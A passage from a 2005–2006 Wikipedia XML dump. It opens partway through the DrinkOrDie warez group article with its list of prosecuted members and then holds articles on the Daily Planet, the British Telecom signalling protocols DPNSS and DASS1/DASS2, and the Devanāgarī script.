The Australian leader [[Hew Raymond Griffiths]] 40, known by his [[screenname]] &quot;Bandido&quot;, has been charged with one count of conspiracy to commit criminal copyright infringement and one count of criminal copyright infringement, and has been involved in legal action in Australia. As of [[March 2005]], Griffiths has lost an appeal against [[extradition|extradition]] to the United States, to face charges under US copyright laws. 

The American leader [[John Sankus Jr.]] of [[Philadelphia, Pennsylvania]], known by his screename &quot;eriFlleH&quot; (HellFire spelled backwards), was convicted and sentenced to 46 months. Sankus was also a member of the group HARM at the time of his arrest.

The [[National Hi-Tech Crime Unit]] in the [[UK]] also arrested eight members residing in Britain. Two of those arrested were charged and convicted for Conspiracy to Defraud, Alex Bell of [[Greys]], [[Essex]] and Steven Dowd of [[Newton-le-Willows]], [[Merseyside]]. 

Also charged and convicted were:
*[[Christopher Tresco]] age 23, of [[Boston, Massachusetts]], who used the screename &quot;bigrar&quot;, pled guilty [[May 28]], 2002 to conspiracy to violate the criminal copyright laws, and was sentenced to 33 months of jail time. Tresco was also a member of [[Rise in Superior Couriering]] (RiSC). Tresco at the time of his arrest was the Systems Administrator for the [[MIT]] Economics department.

*Barry Erickson age 35, of [[Eugene, Oregon]], who used the screename &quot;radsl&quot;, pled guilty on [[May 2]], [[2002]] to one felony count charging conspiracy to violate the criminal copyright laws, and was sentenced to a term of 33 months, with three years of probation to follow. Erickson was a systems engineer at [[Symantec Corporation]] and provided prerelease software to DoD and [[RiSCiSO]]. He was also a founding member of Parents On ‘Puterz (POPZ) a warez group that specialized in the release of children’s learning software and games. 

*David Grimes age 25, of [[Arlington, Texas]], who used the screename &quot;chevelle&quot;, pled guilty on [[March 4]], 2002 to one felony count charging conspiracy to violate the criminal copyright laws. Grimes was a computer engineer at [[Check Point Software]]. Grimes supplied Check Point firewall software to DrinkOrDie on at least two occasions, and he operated an FTP site known as High Octane and was affiliated with RiSC, MYTH, RTS, and DrinkOrDie.

*Richard Berry age 34, of [[Rockville, Maryland]], who used the screename &quot;flood&quot;, pled guilty on [[April 29]], 2002 to one felony count charging conspiracy to violate the criminal copyright laws. Berry was Vice President and Chief Technology Officer at Streampipe.com in Alexandria, VA. A longtime member of DrinkOrDie, he supplied members with computer hardware, occasionally tested software, and operated [[Bounce (network)|BNC]]s for the FTP sites known as Fatal Error, Packet Storm, and Lake of Fire. Berry was also a member of POPZ.

*Sabuj Pattanayek age 21, of [[Nashville, Tennessee]], who used the screename &quot;buj&quot;, pled guilty on [[April 16]], 2002 and was sentenced to 41 months in federal prison for conspiring to violate criminal copyright laws. Pattanayek, a student at [[Duke University]], was a council member, and a skilled software cracker. Pattanayek had also been a senior member of the courier group Request To Send (RTS).

*Stacey Nawara age 34, of [[Rosenberg, Texas]], who used the screename &quot;avec&quot;, pled guilty on [[March 19]], 2002 to one felony count charging conspiracy to violate the criminal copyright laws. Nawara was a Council member in DoD, a senior member of the warez courier group RTS, and a leading courier for the warez group [[Razor 1911]].

*Michael Kelly age 21, of [[Miami, Florida]], who used the screename &quot;erupt&quot;, pled guilty on [[April 10]], 2002 to one felony count charging conspiracy to violate criminal copyright laws. Kelly was a systems network administrator for Gator Leasing, Inc., of Miami, Florida, from where he conducted many of his activities. A senior member/botmaster for DoD, he also had past or current membership in the warez groups AMNESiA, CORP, and RiSC and the underground [[computer art scene|artscene]] group [[Remorse ASCII|Remorse]]. 

*Nathan Hunt age 25, of [[Waterford, Pennsylvania]], who used the screename &quot;azide&quot;, pled guilty on [[April 3]], 2002 to one felony count charging conspiracy to violate criminal copyright laws. Hunt was a senior member in DoD and the group’s leading supplier of software. From [[November 2000]] through [[October 2001]], Hunt provided the group with more than 120 individual software titles. Hunt was also a senior member of The Corporation (CORP).

*David Russo age 50, of [[Warwick, Rhode Island]], who used the screename &quot;ange&quot;, pled guilty on [[April 24]], [[2003]] to conspiracy to violate criminal copyright laws and received 13 months in federal prison. Russo was responsible for testing the programs to determine if they functioned properly before release. 

*Kentaga Kartadinata, 29, of [[Los Angeles, California]], who used the screename &quot;tenkuken&quot;, pled guilty on [[January 22]], 2002 to conspiracy to violate criminal copyright laws. Kartadinata operated an electronic mail server for the group.

*Andrew Clardy of [[Galesburg, Illinois]], who used the screename &quot;doodad&quot;, pled guilty on [[April 4]], 2002 to criminal copyright infringement and conspiracy to violate criminal copyright laws. Clardy was also a member of POPZ.

*Derek Eiser of [[Philadelphia, Pennsylvania]], who used the screename &quot;psychod&quot;, pled guilty on [[June 21]], 2002 to conspiracy to violate criminal copyright laws.

*Robert Gross of [[Horsham, Pennsylvania]], who used the screename &quot;targetpractice&quot;, pled guilty on [[May 22]], 2002 to criminal copyright infringement.

*Myron Cole of [[Warminster, Pennsylvania]], who used the screename &quot;t3rminal&quot;, pled guilty on [[July 10]], 2002 to criminal copyright infringement.

*Anthony Buchanan of [[Eugene, Oregon]], who used the screename &quot;spaceace&quot;, pled guilty on [[August 19]], 2002 to criminal copyright infringement. Buchanan was also a member of POPZ.

*Kirk Patrick St. John age 34, of [[Gilbert, Arizona]], who used the screename &quot;thesaint&quot;, was charged with one count of conspiracy to violate federal criminal copyright laws, and one count of possession of stolen property. St. John ran the FTP leech server &quot;Godcomplex&quot;.

== External links and references ==
[[image:DOD DIZ.png|right]]

* [http://slashdot.org/article.pl?sid=02/10/04/144217 Slashdot interview with former DoD member Chris Tresco aka BiGrAr]
* [http://yro.slashdot.org/article.pl?sid=04/09/07/0112202 Slashdot article on the extradition of the leader of DrinkOrDie.]
* [http://yro.slashdot.org/article.pl?sid=05/03/11/1824236&amp;tid=123&amp;tid=103&amp;tid=17 Your Rights Online: DrinkOrDie Warez Trader to be Extradited to U.S.]
* [http://news.zdnet.co.uk/business/legal/0,39020651,39170749,00.htm ZDNet UK article regarding DoD members standing trial.]
* [http://www.alternet.org/story/12283/ Digital Pirates and the &quot;Warez&quot; Wars] by Omar J. Pahati of AlterNet
* [http://www.smh.com.au/news/National/Central-Coast-man-faces-extradition-to-US/2005/03/10/1110417612703.html Central Coast man faces extradition to US]
* [http://web.archive.org/web/20010517002301/http://www.drinkordie.com/ Internet Archive backup] of www.drinkordie.com (2001)
* [http://www.cybercrime.gov/griffithsIndict.htm Defendant Indicted in Connection with Operating Illegal Internet Software Piracy Group (Hew Griffiths)]
* [http://www.cybercrime.gov/sankusSent.htm Warez Leader Sentenced to 46 Months (John Sankus)]
* [http://www.cybercrime.gov/ob/Pattanay.htm Member of &quot;DrinkOrDie&quot; Warez Group Sentenced to 41 Months (Sabuj Pattanayek)]
* [http://www.cybercrime.gov/russoSent.htm Warwick Man is Sentenced for Software Piracy (David Russo)]

* [http://www.defacto2.net/groups-detail.cfm?org=dod Defacto2 Drink or Die repository]
[[Category:Copyright infringement]]
[[Category:Warez groups]]</text>
    </revision>
  </page>
  <page>
    <title>DOM</title>
    <id>8963</id>
    <revision>
      <id>39702539</id>
      <timestamp>2006-02-15T06:30:17Z</timestamp>
      <contributor>
        <username>Zambaretzu</username>
        <id>621047</id>
      </contributor>
      <comment>redundant &amp; overlapping, changed to redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Dom]]</text>
    </revision>
  </page>
  <page>
    <title>Daily Planet</title>
    <id>8964</id>
    <revision>
      <id>40530911</id>
      <timestamp>2006-02-21T06:02:36Z</timestamp>
      <contributor>
        <username>Anthony Dean</username>
        <id>174225</id>
      </contributor>
      <comment>/* Other Media */</comment>
      <text xml:space="preserve">{{otheruses}}
[[Image:Titanoplanet.JPG|right|thumb|200px|The ''Daily Planet'' building under attack from Titano, from ''Showcase Presents Superman Volume 2'' ([[2006]]).  Art by [[Curt Swan]] and [[George Klein]].  Note: the cover is a recolored version of the cover from ''Superman'' #138, [[July]] [[1960]].]]
The '''''Daily Planet''''' is a [[fictional]] [[newspaper]] that appears in [[Superman]] stories published by [[DC Comics]]. The ''Daily Planet'' is based in [[Metropolis (comics)|Metropolis]] and employs [[Clark Kent]], [[Lois Lane]], and [[Jimmy Olsen]]; its chief editor is [[Perry White]]. Within the Superman [[comics]], the ''Daily Planet'' is depicted as a famous nationally published newspaper of the same caliber as the ''[[New York Times]]''.

In the comics, the newspaper is located in the heart of Metropolis, at the corner of Fifth Street and Concord Lane. The ''Planet'' began publication in 1775; [[George Washington]] wrote a guest editorial for the first daily edition. The ''Daily Planet'' building's most distinguishing and famous feature is the enormous [[globe]] that sits on top of the building.

==History==
===Golden and Silver Age===
When Superman first appeared in comics (in 1938's ''[[Action Comics]]'' #1), his [[alter ego]] [[Clark Kent]] worked for a newspaper named the ''Daily Star'', under editor George Taylor. Superman co-creator [[Joe Shuster]] likely named the ''Daily Star'' after the ''Toronto Daily Star'' newspaper in [[Toronto, Ontario]], which had been the newspaper that Shuster's parents received and for which Shuster had worked as a newsboy. (Called the ''Evening Star'' prior to 1899, the ''Toronto Daily Star'' is now known as the ''[[Toronto Star]]''.) When the Superman newspaper [[comic strip]] appeared, the fictional newspaper's name was permanently changed to the ''Daily Planet'' to avoid a name conflict with real newspapers which had ''Star'' in their name.

When DC made use of its [[multiverse (DC Comics)|multiverse]] means of continuity tracking between the early 1960s and mid-1980s, it was declared that the ''Daily Star'' was the workplace of the [[Golden Age of Comics|Golden Age]] or &quot;Earth-Two&quot; versions of Clark Kent, Lois Lane and Jimmy Olsen, while the ''Daily Planet'' was unique to their [[Silver Age of Comics|Silver Age]] or &quot;Earth-One&quot; versions. The Clark Kent of Earth-Two eventually became the editor-in-chief of the ''Daily Star'', something his Earth-One counterpart didn't achieve at his newspaper. 

In Silver Age continuity, Clark's first contact with the ''Daily Planet'' came when reporter (and future editor) Perry White came to [[Smallville]] to write a story about [[Superboy]], and wound up getting an interview where the Boy of Steel first revealed his [[extraterrestrial]] origins (the story wound up winning Perry a [[Pulitzer]] prize). During Clark Kent's years in college, Perry White was promoted to editor-in-chief upon the retirement of the ''Daily Planet'''s previous editor, the Earth-One version of George Taylor.

After graduating from Metropolis University with a degree in [[journalism]], Clark Kent went to work at the ''Planet'', and quickly met Lois Lane (who had been working there for some time already). Some time after Clark was hired, Jimmy Olsen joined the paper's staff.

In 1971, the ''Daily Planet'' was purchased by [[Morgan Edge]], president of the Galaxy Broadcasting System. Edge proceeded to integrate Metropolis [[television]] station WGBS-TV's studios into the ''Daily Planet'' building, and named Clark Kent as the anchor for the WGBS evening news. Eventually, Clark's former schoolmate from [[Smallville]] [[Lana Lang]] joined Clark as a co-anchor.

After the 1985-1986 miniseries ''[[Crisis on Infinite Earths]]'', many of these elements, including Morgan Edge buying the ''Daily Planet'', were retroactively changed or eliminated from Superman canon.

===Modern Age===
In the modern comics' canon, years before Clark or Lois began working for the paper, [[Lex Luthor]] owned the ''Daily Planet.'' When Luthor, deciding to sell the paper, began taking bids for the ''Planet'', Perry White convinced an international conglomerate, TransNational Enterprises, to buy the paper. They agreed to this venture with only one stipulation: that Perry White would become editor-in-chief. White has served as the ''Planet'' editor-in-chief ever since, barring the few times he was absent. During those times people such as [[Sam Foswell]] and Clark Kent have looked after the paper. [[Franklin Stern]], an old friend of White's, became the ''Daily Planet'''s publisher.

The ''Planet'' saw its share of rough times during White's tenure, including: worker strikes; the ''Daily Planet'' building being destroyed during the &quot;Fall of Metropolis&quot; storyline; the ''Planet'' building sustaining heavy damages after the villain [[Doomsday]]'s rampage; and possibly its darkest hour, Franklin Stern's decision to put the paper up for sale. Lex Luthor, disliking the heavy criticism of himself and his company that the ''Planet'' became noted for, purchased the ''Daily Planet'' and subsequently closed the paper down. Luthor fired every employee of the newspaper save for four people: [[Simone D'Neige]], [[Dirk Armstrong]] (a fictional counterpart of conservative [[radio]] commentator [[Rush Limbaugh]]), [[Jimmy Olsen]], and [[Lois Lane]]. As a final insult, Luthor saw to it that the ''Planet'' globe was unceremoniously dumped in the Metropolis [[landfill]]. In the ''Planet'''s place emerged &quot;LexCom,&quot; a news-oriented [[Internet]] web site that primarily catered to Luthor's views of &quot;quality journalism.&quot;

Eventually, after Lois Lane made a deal with Luthor, Luthor sold the ''Daily Planet'' to Perry White for the minuscule sum of one [[dollar]]. The paper was quickly reinstated, rehiring all of its old staff. Some time later, ownership of the ''Planet'' fell into the hands of [[Batman|Bruce Wayne]].

During the &quot;Y2K&quot; storyline (involving the city of Metropolis being infused with futuristic technology thanks to a descendant of the villain [[Brainiac]]), the ''Daily Planet'' building was &quot;upgraded&quot; along with the rest of Metropolis, and a holographic globe replaced the physical one. Eventually, Metropolis and the ''Daily Planet'' building, globe and all, were restored to their former states.

In the current comics and media spinoffs, the ''Daily Planet'' is presented as a thoroughly modern news operation, including operating an Internet web site much like most large newspapers. The ''Planet'''s reporters also have access to the best modern equipment to aid their work, though Perry White has often been shown as still favoring his manual [[typewriter]].

The ''Planet'''s major competitors in Metropolis include the [[tabloid]] newspaper the ''Daily Star'', WGBS-TV (which briefly employed Jimmy Olsen), and Lex Luthor's various media operations.

==In other media==
In the 2000s live-action television series ''[[Smallville (TV series)|Smallville]]'', the ''Daily Planet'' building is located across the street from the LuthorCorp building. The editor-in-chief of the ''Planet'' in this series is [[Pauline Kahn]]. One of the main characters of ''Smallville'', [[Chloe Sullivan]], works in the basement of the ''Planet'', editing the paper's [[obituary|obituaries]].

==External links==
* [http://members.tripod.com/~davidschutz/superman3.html &quot;Superman at the Star&quot;: An interview with Superman co-creator Joe Shuster from the ''Toronto Star'', April 26, 1992, about Shuster's memories of Toronto and the ''Evening Star'' newspaper.]
* [http://www.supermanhomepage.com/comics/who/who-intro.php?topic=daily-planet The Superman Homepage's entry for the Daily Planet]
* [http://supermanica.info/wiki/index.php/Daily_Planet Supermanica: Daily Planet] Supermanica entry on the Pre-Crisis Daily Planet


[[Category:Fictional newspapers]]
[[Category:Superman]]

[[sv:Daily Planet]]</text>
    </revision>
  </page>
  <page>
    <title>Digital Private Network Signalling System</title>
    <id>8965</id>
    <revision>
      <id>31467926</id>
      <timestamp>2005-12-15T14:11:39Z</timestamp>
      <contributor>
        <ip>195.166.116.237</ip>
      </contributor>
      <comment>Added specification number and current body responsible for it.</comment>
      <text xml:space="preserve">The '''Digital Private Network Signalling System''' ('''DPNSS''') is a [[network protocol]] used on digital trunk lines for connecting two [[PABX]]. It supports a defined set of inter-networking facilities.

DPNSS was originally defined by [[British Telecom]]. The specification for the protocol is defined in BTNR188. The specification currently comes under the Network Interoperability Consultative Committee.

==See also==

* [[DASS1]]
* [[QSIG]]

{{com-stub}}

[[Category:Network protocols]]</text>
    </revision>
  </page>
  <page>
    <title>DASS1</title>
    <id>8966</id>
    <revision>
      <id>32023982</id>
      <timestamp>2005-12-19T22:57:52Z</timestamp>
      <contributor>
        <username>Shanes</username>
        <id>94147</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/Ronberto|Ronberto]] ([[User talk:Ronberto|talk]]) to last version by Alynna Kasmira</comment>
      <text xml:space="preserve">'''Digital Access Signaling System 1''' ('''DASS1''') is a [[protocol (computing)|protocol]] defined by [[British Telecom]] for digital links to [[PSTN]] based on [[Integrated Services Digital Network|ISDN]].

==See also==
* [[DASS2]]

{{tech-stub}}</text>
    </revision>
  </page>
  <page>
    <title>DASS2</title>
    <id>8967</id>
    <revision>
      <id>31116959</id>
      <timestamp>2005-12-12T23:40:06Z</timestamp>
      <contributor>
        <ip>84.9.109.222</ip>
      </contributor>
      <text xml:space="preserve">'''Digital Access Signaling System 2''' ('''DASS2''') is a [[protocol (computing)|protocol]] defined by [[British Telecom]] for digital links to [[PSTN]] based on [[Integrated Services Digital Network|ISDN]].

It is an improved version based on experiences with [[DPNSS]].

In the UK the ISDN concept was first introduced to customers by BT with their
DASS2 connections. Dass2 (Digital Access Signalling System) is a BT designed
signalling standard. It was introduced before the Q931 standard was finalised
by the International Community. British Telecom used the term ISDN when
describing their DASS2 lines.

DASS2 lines are provided to the customer on a 2Mb/s link and can handle 30
simultaneous calls ( 64Kb/s each). DASS2 is still offered by BT and other UK
carriers. Q931 is the name of the CCITT document that describes the agreed
signalling format for International ISDN. The CCITT used to be International
Telegraph and telephone

Consultative Committee. This is the organisation that set out the
internationally agreed standards for telecommunications. This organisation has
subsequently evolved into the ITU. In the United Kingdom the Q931 based
protocol is ETS300 ( also known ass Euro ISDN ). This is a very close
implementation of the original CCITT specification. This is a 2Mb/s service as
with DASS2 but the feature capability is far greater and has negated the
problems associated with DASS2 including echo problems and circuit spikes. In
the UK both DASS 2 and Euro ISDN ( ETS300 ) lines are available to customers
with EuroISDN as the prefered signaling type. Customers will normally choose
the desired signalling system, as this will be dictated by their CPE equipment,
usually a PABX. (CPE- Customer Premises equipment)

Most modern PABXs can handle many different types of signalling system, however
the trend seems to be away from the DASS2 which is no longer being developed by
BT and have been known to deny problems with their DASS2 circuits, and more
towards the internationally recognised Q931 standard. The Q931 standard is an
international standard utilised by many countries telephony service providers.

The CCITT specify the standards for the Layer 1,2 and layer 3 signalling
messages. The Layer 3 messages are the messages that actually control the call
setup, cleardown, and routing.

The Layer 3 messages or Call Control messages are the minimum messages that must
be understood by the interfacing equipment. Individual service providers may
publish their own documentation that details further messages that will be
transported in addition to Q931 messages. There are a number of additional
European documents that cover supplementary services. These cover features that
may be instigated by exchanges via the

ISDN and require a higher degree of Layer 3 implementation.</text>
    </revision>
  </page>
  <page>
    <title>Devanāgarī</title>
    <id>8968</id>
    <revision>
      <id>42110445</id>
      <timestamp>2006-03-03T22:10:30Z</timestamp>
      <contributor>
        <username>Magicalsaumy</username>
        <id>504515</id>
      </contributor>
      <text xml:space="preserve">{{IndicText}}

'''Devanāgarī''' (देवनागरी &amp;mdash;, pronounced {{IPA|[d̪e:vən̪ɑɡəɾi]}}, in English [[IPA chart for English|pronounced]] {{IPA|[&amp;#716;de&amp;#618;v&amp;#601;&amp;#712;n&amp;#593;:ɡ&amp;#601;ɹi:]}} ([[ISCII]] – IS13194:1991) [http://tdil.mit.gov.in/isciiapril03.pdf]) is an [[abugida]] [[writing system]] used to [[writing|write]], either along with other scripts, or exclusively, several [[India]]n languages, including [[Sanskrit]], [[Hindi language|Hindi]], [[Marathi language|Marathi]], [[Kashmiri language|Kashmiri]], [[Sindhi language|Sindhi]], [[Bihari language|Bihari]], [[Bhili language|Bhili]], [[Konkani language|Konkani]], [[Bhojpuri language|Bhojpuri]] and [[Nepali language|Nepali]] from [[Nepal]]. It is written and read from left to right.

The transliteration used in this article follows the popular [[National Library at Calcutta romanization]]. The [[ITRANS]] [http://www.aczoom.com/itrans/#itransencoding] is a lossless transliteration scheme of Devanagari into [[ASCII]] that is widely used on [[Usenet]]. In ITRANS, the word Devanagari is written as &quot;devanaagarii&quot;.

==Origins==
{{alphabet}}
Devanagari emerged around [[1200]] AD out of the [[Siddham]] script, gradually replacing the earlier, closely related [[Sharada script]] (which remained in parallel use in [[Kashmir]]). Both are immediate descendants of the [[Gupta script]], ultimately deriving from the [[Brahmi|Brāhmī]] script attested from the [[3rd century BC]]; Nagari appeared in approx. the [[8th century]] as an eastern variant of the [[Gupta script]], contemporary to [[Sharada]], its western variant. The descendants of Brahmi form the [[Brahmic family]], including the alphabets employed for many other South and South-East Asian languages.

===Etymology===
''Nāgarī'' is in [[Sanskrit]] the feminine of ''nāgara'' &quot;urban(e)&quot;, an adjectival [[vrddhi]] derivative from ''nagara'' &quot;city&quot;; the feminine form is used because of its original application to qualify the feminine noun ''lipi'' &quot;script&quot; (&quot;urban(e) script&quot;, i.e. the script of the cultured). There were several varieties in use, one of which was distinguished by affixing ''[[deva]]'' &quot;deity&quot; to form a [[tatpurusha]] compound meaning the &quot;urban(e) [script] of the deities (= gods)&quot;, i.e. &quot;divine urban(e) [script]&quot;. However, the widespread use of &quot;Devanagari&quot; is a relatively recent phenomenon; well into the twentieth century, and even today, simply &quot;Nagari&quot; was (and is) also in use for this same script. The rapid spread of the usage of &quot;Devanagari&quot; seems also to be connected with the almost exclusive use of this script in colonial times (particularly by European scholars) to publish works in Sanskrit (held by many to be the language of the gods), even though traditionally nearly all indigenous scripts have actually been employed for this language. This has led to the establishment of such a close connection between the script and Sanskrit that it is erroneously widely regarded as &quot;the Sanskrit script&quot; today.

Interpreted by [[popular etymology]] to refer to a  &quot;City of the Gods&quot;, the name in certain [[Yoga|Yogic]] traditions &lt;!-- which ones?--&gt; was taken to refer to the body of the individual. The philosophy behind this is that when one [[meditation|meditates]] on the specific [[sound]]s of the Devanagari alphabet, the written forms appear spontaneously in the mind.

==Principles==
Devanagari has 12 ''svara'' (pure sounds, or [[vowel]]s) and 34 ''vyanjana'' (ornamented sounds, [[consonant]]s).  An ''[[akshara]]'' is formed by the combination of zero or one ''vyanjana'' and one or more ''svar'', and represents a phonetic unit of the ''[[shabda]]'' (utterance). The ''akshara'' is written by applying standard diacritical modifiers to the ''vyanjana'' corresponding to the ''svara''. An ''akshara'' is usually more basic and predictable than the [[syllable]] in English. For example, the English 'cat' (considered to have just one syllable) is written as two ''aksharas'', the 'k-a' and the 'ta'.  

The ''svara'' and ''vyanjana'' are ordered and grouped logically for studying or reciting. Thus the pure sounds, 'a', 'i', 'u' and their lengthened versions ('aa', 'ii', 'uu') are followed by the combined ('ae', 'ai', 'o', 'ou'), nasal ('.m') and aspirated ('.h') forms. The ''vyanjana'' themselves are grouped into 6 groups (rows) of 5 (columns). The first five rows progress as velar, palatal, retroflex, dental and  labial, corresponding to utilizing or touching the tongue to progressively outer parts of the mouth when making the sound. Additional ''vyanjana'' are technically sonorants, sibilants or widely used conjunct forms. For each row or group, the columns logically progress to softer sounds, paired with aspirated forms, ending in the nasal form for that group.

Devanagari is written from left to right. In Sanskrit, words were written together without spaces, so that the top bar is unbroken, although there were some exceptions to this rule. The break of the top line primarily marks [[breath group]]s. In modern languages, word breaks are used.  Languages written with Devanagari require no case distinction.

The Devanagari writing system can be called an [[abugida]], as each consonant has an inherent vowel (a), that can be changed with the different vowel signs.  Most consonants can be joined to one or two other consonants so that the inherent vowel is suppressed.  The resulting conjunct form is called a [[Ligature (typography)|ligature]].  Many ligatures appear simply as two individual consonants joined together, and so are a form of ligature.  Some ligatures are more elaborately formed and not as easily recognized as containing the individual consonants. 

When reading Sanskrit written in Devanagari, the pronunciation is completely unambiguous. Similarly, any word in Sanskrit is considered to be written only in one manner (discounting modern typesetting variations in depicting conjunct forms). However, for modern languages, certain conventions have been made (e.g. truncating the vowel form of the last consonant while speaking, even as it continues to be written in full form). There are also some modern conventions for writing English words in Devanagari. 

Certain Sanskrit texts and ''mantras'' are typically written with additional diacritical marks above and below the ''akshara'' to denote pitch and tempo, to ensure completely accurate reproduction of the sound.

==Symbols of Devanagari==
{{IPA notice}}

All the vowels in Devanagari are attached to the top or bottom of the consonant or to an &amp;lt;aa&amp;gt; vowel sign attached to the right of the consonant, with the exception of the &amp;lt;i&amp;gt; vowel sign, which is attached on the left. In the Devanagari vowel table below, the &quot;Letter&quot; column contains the symbol used when a vowel occurs without a consonant, the &quot;Vowel sign with &amp;lt;p&amp;gt;&quot; column contains the symbol used when a vowel is attached to a consonant, shown with the &amp;lt;p&amp;gt; letter as an example, the &quot;Unicode name&quot; column contains the name given in the [[Unicode]] specification for the vowel, and the &quot;IPA&quot; column contains the [[International Phonetic Alphabet]] character(s) corresponding to the Hindi pronunciation of the Devanagari character.

===Vowels===
The vowels of the devanagari script with their word-initial devanagari symbol, diacritical mark with the consonant &amp;#2346;&amp;#2381; (/ p /), pronunciation (of the vowel alone and of / p /+vowel) in [[IPA]], equivalent in [[IAST]] and ITRANS and (approximate) equivalents in Standard English are listed below:
{|class=&quot;wikitable&quot;
|-bgcolor=&quot;#EFEFEF&quot; align=&quot;center&quot;
| '''Alphabet'''||'''Diacritical mark with “&amp;#2346;&amp;#2381;”'''||'''Pronunciation'''||'''Pronunciation with / p /'''||[[IAST]] equiv.'''||'''[[ITRANS]] equiv.||'''English eqivalent'''
|-align=&quot;center&quot;
| '''&amp;#2309;'''||'''&amp;#2346;'''||{{IPA|/ ə /}}||{{IPA|/ pə /}}||a||a||short or long [[Schwa]]: as the ''a'' in '''a'''bove or '''a'''go
|-align=&quot;center&quot;
| '''&amp;#2310;'''||'''&amp;#2346;&amp;#2366;'''||{{IPA|/ ɑː /}}||{{IPA|/ pɑː /}}||ā||A||long [[Open back unrounded vowel]]: as the ''a'' in f'''a'''ther
|-align=&quot;center&quot;
| '''&amp;#2311;'''||'''&amp;#2346;&amp;#2367;'''||{{IPA|/ i /}}||{{IPA|/ pi /}}||i||i||short [[close front unrounded vowel]]: as ''i'' in b'''i'''t
|-align=&quot;center&quot;
| '''&amp;#2312;'''||'''&amp;#2346;&amp;#2368;'''||{{IPA|/ iː /}}||{{IPA|/ piː /}}||ī||I||long [[close front unrounded vowel]]: as ''i'' in mach'''i'''ne
|-align=&quot;center&quot;
| '''&amp;#2313;'''||'''&amp;#2346;&amp;#2369;'''||{{IPA|/ u /}}||{{IPA|/ pu /}}||u||u||short [[close back rounded vowel]]: as ''u'' in p'''u'''t
|-align=&quot;center&quot;
| '''&amp;#2314;'''||'''&amp;#2346;&amp;#2370;'''||{{IPA|/ uː /}}||{{IPA|/ puː /}}||ū||U|| long [[close back rounded vowel]]: as ''oo'' in sch'''oo'''l
|-align=&quot;center&quot;
| '''&amp;#2319;'''||'''&amp;#2346;&amp;#2375;'''||{{IPA|/ eː /}}||{{IPA|/ peː /}}||e||e|| long [[close-mid front unrounded vowel]]: as ''a'' in g'''a'''me (not a diphthong), or ''é'' in caf'''é'''
|-align=&quot;center&quot;
| '''&amp;#2320;'''||'''&amp;#2346;&amp;#2376;'''||{{IPA|/ əi / ''or'' / ai /}}||{{IPA|/ pəi / ''or'' /pai/}}||ai||ai|| a long [[diphthong]]: approx. as ''ei'' in h'''ei'''ght
|-align=&quot;center&quot;
| '''&amp;#2323;'''||'''&amp;#2346;&amp;#2379;'''||{{IPA|/ οː /}}||{{IPA|/ poː /}}||o||o|| long [[close-mid back rounded vowel]]: as ''o'' in t'''o'''ne (not a diphthong)
|-align=&quot;center&quot;
| '''&amp;#2324;'''||'''&amp;#2346;&amp;#2380;'''||{{IPA|/ əu / ''or'' / au /}}||{{IPA|/ pəu / ''or'' /pau/}}||au||au|| a long [[diphthong]]: approx. as ''ou'' in h'''ou'''se
|-align=&quot;center&quot;
| '''&amp;#2315;'''||'''&amp;#2346;&amp;#2371;'''||{{IPA|/ ɻ̩ /}}||{{IPA|/ pɻ̩ /}}||{{Unicode|ṛ}}||R|| short syllabic  vowel-like [[retroflex approximant]]: approx. as American Eng. b'''ir'''d or met'''er'''
|-align=&quot;center&quot;
| '''&amp;#2400;'''||'''&amp;#2346;&amp;#2372;'''||{{IPA|/ ɻ̩ː /}}||{{IPA|/ pɻ̩ː /}}||{{Unicode|ṝ}}||RR|| long syllabic  vowel-like [[retroflex approximant]]: a longer version of {{IPA|/ ɻ̩ /}} 
|-align=&quot;center&quot;
| '''ऌ''' ||'''पॢ'''||{{IPA|/ l̩ /}}||{{IPA|/ pl̩ /}}||{{Unicode|ḷ}}||LR|| short syllabic vowel-like retroflex-lateral approximant: approx. as hand'''l'''e
|-align=&quot;center&quot;
| '''ॡ''' ||'''पॣ'''||{{IPA|/ l̩ː /}}||{{IPA|/ pl̩ː /}}||{{Unicode|ḹ}}||LRR|| long syllabic vowel-like retroflex-lateral approximant: longer version of {{IPA|/ l̩ /}}
|-
|}

Additional points:
* There are some additional vowels traditionally listed in the Sanskrit/Hindi alphabet. They are :
**&amp;#2309;&amp;#2306; (called ''anusvāra''), pronounced as {{IPA|/ əŋ /}} ([[IAST]]: {{Unicode|ṃ}}). Its diacritic (the dot above) is used both for nasalizing the vowel in the syllable and for the sound of a vowel-like / n / or / m /. (&amp;#2346;&amp;#2306;).
**&amp;#2309;&amp;#2307; (called ''visarga''), pronounced as / əh / ([[IAST]]: {{Unicode|ḥ}}). Actually it is a consonant.
**The diacritic {{Unicode|&amp;#2305;}} (called ''chandrabindu''), not listed in the alphabet, is used interchangeably with the ''anusvāra'' to indicate nasalization of the vowel (&amp;#2346;&amp;#2305;).
* If a lonely consonant needs to be written without any following vowel, it is given a ''halanta/virāma'' diacritic below (&amp;#2346;&amp;#2381;).
* The vowel {{IPA|/ ɑː /}} in Sanskrit is more central and less back than in English. The [[schwa]] ({{IPA|/ ə /}}) is always short in Sanskrit.
* All vowels in Hindi, short or long, can be nasalized. All vowels can have acute, grave or circumflex pitch accent (in Vedic Sanskrit).
* In Hindi, &amp;#2315; is pronounced as / ri /. The last three vowels in the table above do not occur in Hindi at all.
* Note that the ancient Sanskrit grammarians have classified the vowel system as velars, retroflexes, palatals and plosives rather than as back, central and mid vowels. Hence {{Unicode|&amp;#2319;}} and {{Unicode|&amp;#2323;}} are classified respectively as palato-velar (a+i) labio-velar (a+u) vowels respectively. But the grammarians have classified them as diphthongs and in prosody, each is given two ''mātrās''. This does not necessarily mean that they are proper diphthongs, but neither excludes the possibility that they could have been proper diphthongs at a very ancient stage. These vowels ''are'' pronounced as long / e / and / o / respectively by learned Sanskrit Brahmins and priests of today. Other than the &quot;four&quot; diphthongs, Sanskrit usually disallows any other diphthongs—vowels in succession, if occur, are converted to semivowels according to predetermined rules.
* In the devanagari script used for Sanskrit, whenever a consonant in a word-ending position is without any ''virāma'' (ie, freely standing in the orthography: &amp;#2346; as opposed to &amp;#2346;&amp;#2381;), the neutral vowel [[schwa]] ({{IPA|/ ə /}}) is automatically associated with it—this is of course true for the consonant to be in any position in the word. Word-ending schwa is always short. But the IAST '''a''' appended to the end of masculine noun words rather confuses the foreigners to pronounce it as {{IPA|/ ɑː /}}—this makes the masculine Sanskrit/Hindi words sound like feminine! e.g., '''shiva''' must be pronounced as {{IPA|/ ʃivə /}} and not as {{IPA|/ ʃivɑː /}}.
